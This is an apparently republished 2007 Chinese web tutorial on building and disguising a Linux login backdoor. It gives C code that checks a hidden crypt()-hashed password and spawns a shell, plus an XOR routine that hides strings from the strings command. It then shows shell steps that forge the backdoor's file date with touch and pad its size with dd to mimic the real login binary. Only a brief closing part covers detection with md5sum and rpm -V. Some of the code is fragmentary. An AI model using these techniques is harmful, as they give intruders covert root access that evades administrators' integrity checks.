黑客高级技巧 Linux后门技术及实践

时间:2007-05-03 18:11:55   来源:天极网  作者:  点击:次  出处:技术无忧
关键字:后门 控制系统


  
  

#include <unistd.h> 
main(int argc, char *argv[]) 

if (argc != 3) { 
printf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 

printf("%s\n", crypt(argv[1], argv[2])); 
}

  2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

  3、修改后门源程序ulogin.c:

  -- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

  -- 如果后门密码正确,直接给出Shell:


if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 

system(SHELL); 
exit(1); 
}

  用strings命令只能看到加密过的密码。

  采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

  1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 

int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 

return str; 

void display(char *str) 

int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 

main() 

char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

  2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

3、在后门源代码中这样定义:
  Char

  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

  然后插入异或函数char *de()结合同一magic串,就能判断出正确的后门密码。

  用strings命令看不到密码、路径等字符串了。

  最后的修饰

  使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:

  在ulogin.c代码中增加一个字符串数组char strings[] ="";,在引号中填入正常login程序的strings输出结果。以假乱真,增加迷惑性。

  调整后门程序的文件日期、大小等属性:

  1、日期

  # ls -l /sbin/xlogin

  -r-sr-xr-x root root 19300 Feb 11 1998

  /sbin/xlogin

  # touch -t 199802110000 ulogin

  # _

  2、调整大小

  # ls -l ulogin /sbin/xlogin

  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin

  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin

  # bc

  19300-7542

  11758

  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1

  1+0 records in

  1+0 records out

  11758 bytes transferred in 0.000379 secs (31016746

  bytes/sec)

  # cat /tmp/t >> ulogin

  Login后门的检测

  使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。

  使用Red Hat Linux的RPM校验:

  # rpm -V util-linux

  在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login -h xxx.xxx.xxx.xxx的字样。

更多电脑、家电软硬件维修资讯请访问维修技术


文章评论

共有 0 位网友发表了评论 此处只显示部分留言 点击查看完整评论页面

300x250广告位招租